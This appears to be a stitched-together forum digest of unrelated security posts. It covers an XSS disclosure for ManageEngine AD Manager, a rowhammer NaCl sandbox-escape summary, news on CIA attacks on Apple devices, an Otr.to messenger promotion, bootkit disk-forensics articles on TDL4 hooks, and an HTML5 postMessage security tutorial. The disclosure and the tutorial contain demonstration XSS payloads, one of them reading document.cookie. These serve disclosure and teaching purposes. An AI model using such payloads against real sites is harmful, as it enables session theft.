hhttps://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 # How to Reproduce: (POC): 1. “technicianSearchText” parameter is vulnerable to XSS on “Help Desk Technician” page. The page can be found at : AD Delegation -> Help Desk Technician 2. "rolesSearchText" parameter is vulnerable to XSS on “Help Desk Roles” page. The page can be found at : AD Delegation -> Help Desk Roles Proof of Concept code to test XSS : <b onmouseover=alert(document.cookie)>Hover over me!</b> # Disclosure: Discovered: December 08, 2014 Vendor Notification: Jan 22, 2015 Public Disclosure: Mar 10, 2015 # Affected Targets: All versions below Build 6270 are mostly affected. On all platforms (Actually platform doesn't affect the issue). # credits: Harish Ramadoss Information Security Analyst Help AG Middle East #References: [1] help AG middle East http://www.helpag.com/. [2] https://www.manageengine.com/products/ad-manager/ [4] https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29(XSS) [5] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. Source

This is a proof-of-concept exploit that is able to escape from Native Client's x86-64 sandbox on machines that are susceptible to the DRAM "rowhammer" problem. It works by inducing a bit flip in read-only code so that the code is no longer safe, producing instruction sequences that wouldn't pass NaCl's x86-64 validator. Note that this uses the CLFLUSH instruction, so it doesn't work in newer versions of NaCl where this instruction is disallowed by the validator. Download

Security researchers at the Central Intelligence Agency (CIA) have worked for almost decade to target security keys used to encrypt data stored on Apple devices in order to break the system. Citing the top-secret documents obtained from NSA whistleblower Edward Snowden, The Intercept blog reported that among an attempt to crack encryption keys implanted into Apple's mobile processor, the researchers working for CIA had created a dummy version of Xcode. CIA’s WEAPON TO HACK APPLE DEVICES Xcode is an Apple’s application development tool used by the company to create the vast majority of iOS apps. However using the compromised development software, CIA, NSA or other spies agencies were potentially allowed to inject surveillance backdoor into programs distributed on Apple's App Store. In addition, the custom version of Xcode could also be used to spy on users, steal passwords, account information, intercept communications, and disable core security features of Apple devices. The latest documents from the National Security Agency’s internal systems revealed that the researchers’ work was presented at its 2012 annual gathering called the "Jamboree" -- CIA sponsored secretive event which has run for nearly a decade -- at a Lockheed Martin facility in northern Virginia. KEYLOGGER FOR MAC COMPUTERS According to the report, "essential security keys" used to encrypt data stored on Apple’s devices have become a major target of the research team. Overall, the U.S. government-sponsored researchers are seeking ways to decrypt this data, as well as penetrate Apple's firmware, using both "physical" and "non-invasive" techniques. In addition to this, the security researchers also presented that how they successfully modified the OS X updater -- a program used to deliver updates to laptop and desktop computers -- in an attempt to install a "keylogger" on Mac computers. HACKING ENCRYPTION KEYS Another presentation from 2011 showed different techniques that could be used to hack Apple's Group ID (GID) -- one of the two encryption keys that Apple places on its iPhones. One of the techniques involved studying the electromagnetic emissions of the GID and the amount of power used by the iPhone’s processor in order to extract the encryption key, while a separate method focused on a "method to physically extract the [Apple's] GID key." Although the documents do not specify how successful or not these surveillance operations have been against Apple, it once again provoke the ongoing battle between spy agencies and tech companies, as well as the dishonesty of the US government. 'SPIES GONNA SPY' On one hand, where President Barack Obama criticized China for forcing tech companies to install security backdoors for the purpose of government surveillance. On the other hand, The Intercept notes that China is just following America's lead, that’s it. "Spies gonna spy," said Steven Bellovin, a computer science professor at Columbia University and former chief technologist for the FTC. "I’m never surprised by what intelligence agencies do to get information. They’re going to go where the info is, and as it moves, they’ll adjust their tactics. Their attitude is basically amoral: whatever works is OK." We have already reported about NSA and GCHQ’s various surveillance programs including PRISM, XkeyScore, DROPOUTJEEP, and many more. Source

In this post-Snowden era of mass surveillance, being out-of-reach from the spying eyes really doesn't mean they can not get you. So, if you are concerned about your data privacy and are actually searching for a peer-to-peer encrypted messaging service, then it’s time to get one. "Otr.to" — an open-source peer-to-peer browser-based messaging application that offers secure communication by making use of "Off-the-Record" (OTR) Messaging, a cryptographic protocol for encrypting instant messaging applications. OTR (Off-the-Record) is one of the most secure cryptographic protocol that offers strong encryption for real time communications i.e. Chatting and Messaging services. Off-the-Record simply means that there is nothing on the record, so nobody can prove that two parties had an Internet chat conversation or said anything specific. ORT.to uses WebRTC to exchange messages via decentralized peer-to-peer communication, which means chat logs between end users will never be stored on any centralized server, making your conversation safe from snooping eyes. HOW TO USE, NO INSTALLATION - NO REGISTRATION In order to get started with Otr.to, you don’t need to register an account or install any application on your desktop. All you need to do is: Just open any web browser from any platform, Visit https://Otr.to website, Ask your chat partner to do the same, At Homepage, service will generate a random four digit code as a temporary identity for each user, Share that ID with your friend, Any one of two, enter ID at ‘To start chat enter someone else's id’ textbox and chat box is ready to go. Otr.to is absolutely free and anonymous, which means it doesn’t reveal anybody’s identity to public. SELF-DESTRUCT MESSAGES In case, you can’t chat in real time with someone, then there is a solution for that too. Otr.to offers self destruct messaging feature, using which one can generate an encrypted secret message, and server will automatically self-destruct it once it get read, leaving no trace on any server. Self destruct feature on Otr.to allows recipients to decrypt and read the message encrypted with AES256 algorithm once. You can also easily verify the integrity of this new application, as it is based upon open source JavaScript libraries i.e. Crypto-js, PeerJS and Off-the-Record Messaging Protocol. So tech-savvies can check what is going in-&-out from their web browser using network sniffers like Wireshark. Also, used methodologies will ensure you that your messages will remain between you and your contact alone. Otr.to is something we really want or need right now in this NSA age. The app could prove to be a great tool for a variety of people, including journalists, businesses and whistle blowers who want to keep their communications instant, private and secure. Source

XP is a little more complicated than newer systems due to the use of a single driver for both port and miniport; however, getting the original pointers is fairly straight forward depending on how you do it. IRP_MJ_SCSI & DriverStartIo - Method 1 (Windows XP) A common method is to programmatically disassemble the miniport's DriverEntry, looking for the code which initializes the driver's object, then you can extract and calculate the addresses from "mov [esi+30h], offset" and "mov [esi+74h], offset" for DriverStartIo and IRP_MJ_SCSI respectively. The obvious problem with this method is the initialization code may not be in DriverEntry, but a sub function called from it (it may even be necessary to follow jumps). It's also not guaranteed that the instruction will use esi as the pointer to the driver object or an immediate for the function address, in fact you're probably going to have to account for quite a few different instructions. IRP_MJ_SCSI & DriverStartIo - Method 2 (Windows XP) In my tests, it was possible to simply call the DriverEntry of the miniport driver with the parameters from your own driver entry, thus having the miniport set up your driver's object as if it were its own. The only issue with this method is if the driver uses GsDriverEntry (it usually does), the entry point will be invalidated after the driver is initialized, so you cannot call it. To deal with GsDriverEntry you'd first need to load the original image from disk, then search until you reach an unconditional relative jump (this is the offset to real entry point and you can use it to calculate the same address within the loaded driver). IRP_MJ_SCSI (Windows Vista+) On newer systems, things are wonderfully easier: There's no DriverStartIo field and you can initialize all the major functions in your DriverObject with a call to AtaPortInitialize, ScsiPortInitialize, or StorPortInitialize which are all exported from the relevant port drivers (ataport.sys, scsiport.sys, or storport.sys). Bypassing Inline Hooks Although not many bootkits actually perform inline hooking on miniports, it's worth taking care of. You'll need to read a the original miniport or port driver's file into memory, then do a bit of pointer math to calculate the addresses of IRP_MJ_SCSI or DriverStartIo within the clean image. I'm not too sure of the best way to call the clean functions, but here are 2 viable methods to chose from. Trampoline Usually a hook is placed within the first few bytes of a function, so you can simply read and relocate the first few bytes from the clean function into a buffer, then append it with a jump to the same offset within the real driver(this is the same way a hooking engine would call the unhooked version of a function). Manual Mapping A more difficult but effective method is to manually map a clean copy of the driver into memory, then relocate it so that all absolute instructions will reference the real driver, meaning you don't have to worry about initializing any global variables or such. Creating a Clean Call Path Due to the fact a lot of bootkits run persistence threads for replacing any driver object hooks which get removed, you don't want to unhook the real driver but instead create a parallel one, so you can maintain your own hook-free call path. Step 1 (XP & Vista) Get the device object for the boot disk miniport, this is usually \Device\Harddisk0\Dr0 Use the size field of the device object to allocate some non paged memory and copy the entire object (this is your clean miniport). Set the DriverObject field to point to your own driver's object, in which you've set the IRP_MJ_SCSI and DriverStartIo field appropriately (DriverStartIo can be skipped on Vista+). Step 2 (XP Only) Set the DeviceExtension field of your clean miniport device object to point to directly after its device object (DeviceObject + sizeof(DEVICE_OBJECT)). Get the address stored at offset 0x5C into your clean miniport's device extension and check it's valid (this is the address of the corresponding port's device extension). Read the addresses stored at offset 0x0C into the port's device extension (this is the address of the port's device object). Use the size field of the port's device object to allocate some non paged memory and copy the entire object (this is your clean port). Set the DeviceExtension field of your clean port's device object to point to directly after its device object (DeviceObject + sizeof(DEVICE_OBJECT)). Set the DriverObject field of your clean port's device object to point to your own driver's object, in which you've set the IRP_MJ_SCSI field appropriately. Change offset 0x5C into your clean miniport's device extension to contain the address of the clean port's device extension. Set offset 0x0C into the clean port's device extension to contain the address of the clean port's device object. Using the Clean Path You're going to need to build a raw SCSI request which is pretty complicated; however, the Chinese are already a step ahead, so you can look to this example for help (This request can be issued by passing the clean miniport device object and the IRP to IofCallDriver). It's important to note that miniport drivers are PnP, so if you don't create any devices (IoCreateDevice): the driver will be unloaded as soon as DriverEntry returns, if you do: the driver can't be unloaded at all. Although it's not recommended, you can set the driver back to a legacy driver by setting the AddDevice pointer within the driver's extension to 0, allowing the driver to be unloaded normally. Conclusion This concludes my 3 part series, any feedback in the comments would be greatly appreciated and will be taken into consideration when I create a whitepaper version of the series in a few weeks. Other resources of note Debugging TDL4 Subverting Bootkits using the Crash Dump Driver Stack Exposing Bootkits With BIOS Emulation Source

Part 1 .: https://rstforums.com/forum/98013-bootkit-disk-forensics-1-a.rst As I explained in the previous article: DriverStartIo is used by older miniports to actually perform the disk I/O, it takes 2 parameters (a device object and an IRP), exactly the same as IoCallDriver does. The call to DriverStartIo is done with IoStartPacket; however, the device object passed is not that of the miniport, but instead a device associated with the port the target disk is connected to (in my case IdePort1). IRP_MJ_SCSI points to IdePortDispatch in atapi.sys, by disassembling it we can see exactly how the required device object is retrieved from the DeviceExtension field of the miniport's device object. The call logic is something like this: Get the miniport's device extension from its device object (passed to us in the call). Get IdePort1's device extension from offset 0x5C into the miniport's device extension. Get IdePort1's device object from offset 0x0C into its device extension. Call IoStartPacket with the IRP and IdePort1's device object. As both the miniport and IdePort devices are created by atapi.sys, the DriverObject field of both devices' objects point to the same driver object; thus, hooking DriverStartIo is as simple as replacing the address in the driver's object. Detecting DriverStartIo hook with WinDbg For basic DriverStartIo hook detection we can simply follow the same process as for major function hooks: First, we find the boot disk and list it's stack. As I explained in the previous article, modifications made by TDL4 will cause the !drvobj and !devobj commands to think the object is invalid, it's not. You will probably want to check each driver object in the stack (for the invalid DeviceObject you can again use "dt _DEVICE_OBJECT <address>" to find the DriverObject field). With most bootkits, the lowest level driver is always the one hooked, so I'll use this in my example. You can see here that DriverStartIo isn't hooked because the address resolve to its proper symbol; however, this isn't actually the real driver object. Earlier i explained that IoStartPacket is always called with the device object of IdePort1, not the disk miniport: This means that when IoStartPacket called DriverStartIo internally, it does so by getting the driver object from the DriverObject field of IdePort1's device object, then getting the DriverStartIo field from that. Obviously this means that to hook DriverStartIo, one could simply just create a copy of atapi's driver object, with the DriverStartIo field modified, then set the DriverObject field of IdePort1's device object to point to the new, malicious driver object (this way on IdePort1 will point to the hooked driver, the rest will point to the original). As it happens TDL4 actually does the opposite, it hooks the real atapi driver object, then replaces the DriverObject field of the disk miniport's device object with the address of an identical driver object, without the DriverStartIo field modified.). If you know what you're looking for, fake driver objects are easy to detect. All devices created by a driver should point the same driver object, so simply enumerating the devices created by the miniport's driver then making sure all the DriverObject fields point to the same address is all that's needed. This can be done a multitude of ways. Method 1: DrvObj The fake driver object will have the same name as the real one (in my case "\driver\atapi"), all you need to do is type "!drvobj \driver\atapi 2" to get the real driver's object (this is a downside of TDL4 hooking the real driver object instead of a spoofed one). Method 2: NextDevice Starting with the miniport device, enumerate devices using "dt _DEVICE_OBJECT <address>" and the NextDevice field of each device's object. We're looking for any DriverObject field that dosen't match that of the miniport (this is the real driver object). Method 3: DeviceExtension This is the least reliable way, as the device extension could change from system to system, but as I mentioned earlier: you can find IdePort1's device extension at offset 0x5C isn't the miniport's device extension, then from IdePort1's device extension you can find its device object at offset 0x0C (IdePort1's device object will point to the real driver object). We can actually find the DeviceObject in a single commands using this overly complicated WinDbg-C++ syntax: "dt _DEVICE_OBJECT poi(poi(@@C++(((nt!_DEVICE_OBJECT *)<address>)->DeviceExtension)+0x5C)+0x0C)", where "<address>" is the miniport device object. Source

In this article, we will discuss HTML5 Web Messaging (or Cross Domain Messaging) attack vectors and security implementations. Why is it important to understand HTML5 attacks? HTML5 is one of the emerging technologies for next generation Web applications. It has brought a lot of new features to the Web. HTML5 applications are also widely used in the mobile app world. Along with the features, HTML5 has brought various new attack vectors as well. The main focus of this article is to show the possible attack vectors with the Cross Domain Messaging feature. Before going ahead with the security concepts of Cross Domain Messaging, let us understand the basics of how Cross Domain Messaging is implemented in HTML5. Cross Domain Messaging Due to the same origin policy restrictions before HTML5, sending messages between windows was only possible if both windows used the same protocol, port, and host. With the introduction of HTML5, all those restrictions are gone and we can now pass messages across domains without having to worry about Same Origin Policy restrictions. HTML5 has a new method called postMessage(). Using this, we can pass messages between windows regardless of their origin. Below is the syntax of postMessage(). Sending Window: otherWindow.postMessage(message, targetOrigin, [transfer]); otherWindow: This is a reference to another window. Message: The message to be passed to the receiving window. targetOrigin: The URL of the receiving window must be specified here. If we do not have any specific preference, we can specify it as “*”. Specifying “*” as ‘targetOrigin’ has some security implications we will discuss in later sections of this article. Transfer: This is optional. Receiving Window: When otherWindow.postMessage() is executed, a messageEvent will be dispatched at the receiver window. We can receive the message dispatched by the sender using the following code snippet. window.addEventListener("message",receiveMessage, false); function receiveMessage(event){ if (event.origin !== "http://site.com:8383") return; // ... } From the above code snippet, we can access the data and origin of this message as shown below. event.origin – Gives the origin of the message (The URI from which we are receiving this message). event.data – Gives the actual message being sent. Now, we have got some basic knowledge of what cross domain messaging in HTML5 is and how it is implemented in the applications. Let us now see the security implications of cross domain messaging. For demonstration purposes, I have set up the following lab. A: http://localhost:8383/ B: Romanian Security Team - Homepage As we can see, we have two different ports on the above two URLs. The first URL is running on port 8383 and the second URL is on the default port 80. So, it is obvious that they have two different origins, since the port numbers are different. In our lab setup, A is the message sender and B is the receiving window. We are going to load the second URL Romanian Security Team - Homepage as an iframe in the first URL. I can send messages from the domain http://localhost:8383/ to the domain Romanian Security Team - Homepage using the postMessage method. We can check it by clicking the “Send Message” button as shown below. The iframe which is loaded into the first URL is from a different origin, but we are able to send a message to it using HTML5’s postMessage() method. Now, let us look at some scenarios where this postMessage() implementation can introduce vulnerabilities into our applications. Case 1 Code at sender: receiver.postMessage('Hi There..!', '*');< When the sender has the above code where he specifies the target origin with a wildcard “*”, an unintended recipient (window) can receive this message from the sender. Since the receiving window is listening for incoming messages, anyone can load it into an iframe and can listen for the messages coming to it. So, it is a bad idea to give a wildcard when passing sensitive data to the receiving windows. How to fix this: It is possible to fix this just by adding the specific target in the target field. So, in this case http://localhost is the only origin that can receive this message. This is as shown below. receiver.postMessage('Hi There..!', 'http://localhost'); Case 2 Code at receiving window: function receiveMessage(e) { do something..! } In the above code, we are receiving the message from the sender and directly processing it without checking who sent this message. It is always important to check the origin of the message to prevent receiving messages from unauthorized senders. How to fix this: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; do something..! } Always validate the origin from which you want to receive the messages. In our case, we want to receive messages only from http://localhost:8383. So, we are making a simple check to see if the message is coming from http://localhost:8383 using the property event.origin. If this is not matching, we won’t receive the message. Case 3 The next attack vector is the infamous Cross Site Scripting. Both the sender as well as receiver should always validate the messages being passed. If the data is inserted into HTML DOM without proper validation, then the application becomes vulnerable to DOM based Cross Site Scripting. The following code snippet shows how an application may become vulnerable when a malicious message is received from the attacker and it is inserted into the receiver’s HTML DOM using innerHTML property. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; messageEle.innerHTML = "Message from localhost:8383: " + e.data; } When the above code is executed, it causes an XSS in the receiving window as shown in the figure below. How to fix this: The easiest way to fix this issue is to assign the data value to an element using textContent rather than using innerHTML. This is done as shown below. Sender: receiver.postMessage("<img src='x' onerror=alert(1);>", 'http://localhost'); Receiver: function receiveMessage(e) { if (e.origin !== "http://localhost:8383") return; element.textContent = "Message from localhost:8383: " + e.data; } When the above code is executed, we should see the text displayed in the receiving frame as “data” rather than code. As we can see in the above figure, the code is now not executed. Rather, it is displayed as normal text. Conclusion We have discussed the basics of Cross Domain Messaging and some of the possible attacks against this feature in HTML5. We will discuss other possible attacks against HTML5 web applications in later articles. Source